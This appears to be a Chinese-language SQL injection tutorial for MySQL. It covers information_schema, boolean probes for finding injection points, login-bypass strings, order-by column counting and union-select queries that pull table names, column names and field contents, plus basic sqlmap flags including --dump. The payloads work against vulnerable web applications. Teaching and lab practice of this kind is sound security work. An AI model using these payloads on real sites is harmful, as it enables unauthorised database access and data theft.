1、SQL注入介绍
SQL是什么:
结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询和程序设计语言,同时也是数据库脚本文件的扩展名。
SQL注入是什么:
通过在⽤户可控的参数中注⼊SQL语法,破坏原有SQL结构,修改原有SQL功能,达到出现意料之外结果的攻击⾏为。
SQL注入条件:
用户可以控制输入数据,网站拼接用户输入并在数据库执行该语句。(找动态页面)
SQL注入本质:
把用户输入的数据当作代码执行。
2、数据库知识基础
以Mysql数据库为例
2.1 基础知识
- 显示数据库列表 show databases;
- 进入对应的数据库 use “指定数据库名”;
- 查看所进入数据库的所有表 show tables;
- 显示数据库版本 select version();
- 查看当前正在使用的数据库 select database();
- 查看使用当前数据库的用户 select user();
- 查看数据库路径 select @@datadir;
- 查看安装路径 select @@basedir;
- 查看数据库安装的操作系统 select @@version_compile_os;
2.2 MySQL自带库
1)information_schema
information_schema ,是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。MySQL5.0以下没有information_schema这个默认数据库。
- SCHEMATA表:提供了当前MySQL实例中所有数据库的信息,是show databases的结果取之此表。
- TABLES表:提供了关于数据库中的表的信息(包括视图)。
- COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。
columns表主要字段如下:
tables表主要字段如下:
2.3 数据库特性
注释: -- (--空),#,-- awd (空格经常被忽略,所以在后面加上awd告诉数据库不要忽略我们的空格)
3、SQL注入流程
3.1 判断注入点
首先数据库查询语句是:
select * from 表 where id = n 数字型
select * from 表 where name = 'a' 字符型
select * from 表 where name ='a' and password = 'c' 登陆型
以数字型为例:
and 1=1
and 1=2
可以看出页面出现变化,证明我们的输入带入了数据库查询。其他探测方式汇总如下:
(1)字符型:
' False '' True
" False "" True
\ False \\ True
(2)数字型:
AND 1=1 True AND 1=0 False
and 1=1 and 1=2
进化
加减乘除 id = 4/2 (+是URL编码中的空格,要改成%2b)
sleep(10)
(3)登陆型:
' OR '1
' OR 1 -- wd
" OR "" = "
" OR 1 = 1 -- awd
'='
'LIKE'
3.2 猜测字段数
order by n 进行尝试,
3.3 查询输出点
Union (联合查询,将两条数据库查询语句一起执行,注意两条语句结果的字段数和类型要相同)
Select 1,2,3 属性探究:
使用union select 1,2,3,4,5,6,7,8,9查询输出点,为了确保输出的数据是我们select后的,通常让前面为假,然后输出那个那个就是:
这里换个掌控安全的靶场,因为9个太多了,换成一个order by 3的演示以下:
and 1=2 union select 1010,2010,3010
我们看到输出了2010,3010,说明第2个位和第三个位为输出点,然后验证一下输出点的真假
and 1=2 union select 1, user(), user() -- awd (这里的user()函数就是2.1中介绍的,可以换成2.1中其他的)
两个输出位都可以输出信息
注意:有隐藏输出点,且并不是所有输出点都是完美的
3.4 总结
1)判断注入点和注入点类型
2)order by n 猜解字段数
3)and 1=2 union select 1,2,3,...,n -- awd 找出输出点
4)用数据库自带库查询数据
根据 库>表>字段>数据依次查询
4.1)查表名
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1
4.2)查列名(字段名)
and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘表名’ and table_schema=database() limit 0,1
4.3)查字段内容
and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1
4.4)limit补充说明
limit 0,1 分页
limit 1,1 从第二行取第一条数据
limit 3,2 从第四行取第二条数据
还可以使用group_contact()函数替代
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘表名’
4、工具使用
跑SQL注入的神器就是SQLmap
常用最基础指令:
- -u指定注入点
- --dbs跑库名
- --tables跑表名
- --columns跑字段名
- --dump枚举数据(最好是授权,最好禁用)
- -D指定库
- -T指定表
- -C指定字段
具体使用参考:https://blog.csdn.net/xlsj228/article/details/106059360
安全学习交流群:687398569